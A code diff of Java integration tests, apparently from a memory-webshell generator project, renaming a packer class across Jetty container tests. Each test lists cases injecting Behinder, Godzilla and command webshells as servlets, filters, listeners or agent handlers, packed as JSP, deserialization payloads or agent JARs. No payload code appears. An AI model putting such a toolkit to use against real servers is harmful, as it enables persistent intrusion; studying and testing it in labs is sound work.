integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Jetty11ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -74,7 +74,7 @@ public class Jetty11ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,24 +41,24 @@ public class Jetty61ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize)
 //                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
 //                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
 //                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
@@ -74,7 +74,7 @@ public class Jetty61ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Jetty76ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -74,7 +74,7 @@ public class Jetty76ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Jetty81ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -74,7 +74,7 @@ public class Jetty81ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,27 +43,27 @@ public class Jetty92ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -75,7 +75,7 @@ public class Jetty92ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Jetty93ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -74,7 +74,7 @@ public class Jetty93ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
